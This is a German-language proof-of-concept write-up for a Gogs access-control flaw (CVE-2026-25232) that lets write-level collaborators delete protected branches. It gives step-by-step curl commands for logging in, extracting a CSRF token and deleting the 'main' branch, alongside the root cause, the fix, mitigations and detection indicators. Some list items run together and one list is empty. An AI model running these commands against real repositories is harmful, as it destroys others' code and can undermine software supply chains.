
Proof of Concept für die kürzlich veröffentlichte CVE-2026-25232, eine Privilege-Escalation-Schwachstelle in Gogs.
| Feld | Details |
|---|---|
| CVE | CVE-2026-25232 |
| Produkt | Gogs (Go Git Service) |
| Betroffene Versionen | <= 0.13.4 |
| Behobene Version | 0.14.1 |
| CVSS-Score | Mittel |
| CWE | CWE-863: Falsche Autorisierung |
| Erforderliche Authentifizierung | Ja (Write-Berechtigungen auf einem Repository) |
| Auswirkung | Privilegieneskalation von Write → Admin-Ebene |
CVE-2026-25232 ist eine Schwachstelle zur Umgehung der Zugriffskontrolle in der Gogs-Weboberfläche. Sie ermöglicht es jedem Repository-Mitarbeiter mit Write-Berechtigungen, geschützte Branches — einschließlich des Standard-Branches — zu löschen, indem eine direkte POST-Anfrage an den DeleteBranchPost-Endpunkt gesendet wird, wodurch die Branch-Schutzmechanismen vollständig umgangen werden.
Die Ursache liegt in einer Diskrepanz zwischen der Durchsetzung des Branch-Schutzes in der Git-Hook-Ebene und der Weboberfläche:
DeleteBranchPost-Funktion löst keine Git-Hooks aus, sodass die Schutzprüfung nie ausgeführt wirdDies ermöglicht es einem Mitarbeiter mit niedrigen Berechtigungen, Operationen durchzuführen, die ausschließlich Repository-Administratoren vorbehalten sein sollten.
http://<TARGET>:3001attacker:Password123! (Write-Berechtigungen auf dem Repo)admin/important-repomain (Standard-Branch)Bestätigen, dass der Branch geschützt ist und nicht über normale Mittel gelöscht werden kann:
# Versuch einer normalen Branch-Löschung über die API - dies sollte fehlschlagen
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
Erwartete Antwort: 403 Forbidden oder Schutzfehler.
Das CSRF-Token von einer beliebigen authentifizierten Seite abrufen:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# CSRF-Token von einer Repo-Seite extrahieren
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
Eine direkte POST-Anfrage an den Branch-Lösch-Endpunkt senden und dabei die Schutzprüfung umgehen:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
Der geschützte Branch wird gelöscht, obwohl der Angreifer nur Write-Berechtigungen besitzt.
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
Der main-Branch erscheint nicht mehr in der Antwort.
Die DeleteBranchPost-Funktion im Gogs-Web-Handler validiert, dass der Benutzer authentifiziert ist und Write-Zugriff auf das Repository hat, prüft jedoch nicht, ob der Ziel-Branch geschützt ist:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
Prüfung: Ist der Benutzer authentifiziert? ✓
Prüfung: Hat der Benutzer Write-Zugriff? ✓
Prüfung: Ist der Branch geschützt? ✗ (FEHLT)
↓
Branch erfolgreich gelöscht
Die Git-Hook-Ebene, die den Branch-Schutz durchsetzt, wird nur bei Git-Push-/Lösch-Operationen über SSH oder das HTTP-Git-Protokoll ausgelöst — nicht bei Operationen über die Weboberfläche. Diese architektonische Lücke bedeutet, dass jeder Mitarbeiter mit Write-Berechtigungen diese Operation durchführen kann.
Ein böswilliger Mitarbeiter mit Write-Berechtigungen kann:
In Umgebungen, in denen Gogs-Repositories in automatisierte Bereitstellungspipelines eingespeist werden, könnte dies zu einer Kompromittierung der Lieferkette führen.
Upgrade auf Gogs v0.14.1 oder höher. Der Fix fügt ordnungsgemäße Autorisierungsprüfungen in der DeleteBranchPost-Funktion hinzu, um den Branch-Schutzstatus vor dem Löschen zu verifizieren, unabhängig davon, wie die Anfrage gestellt wird.
Als vorübergehende Abschwächung:
/repos/{owner}/{repo}/branches/delete überwachenAuf folgende Indikatoren für eine Ausnutzung achten:
/<owner>/<repo>/branches/delete in Webserver-LogsDieses PoC dient nur zu Bildungszwecken und für autorisierte Sicherheitstests. Verwenden Sie es nicht gegen Systeme, für die Sie keine ausdrückliche Erlaubnis zum Testen haben.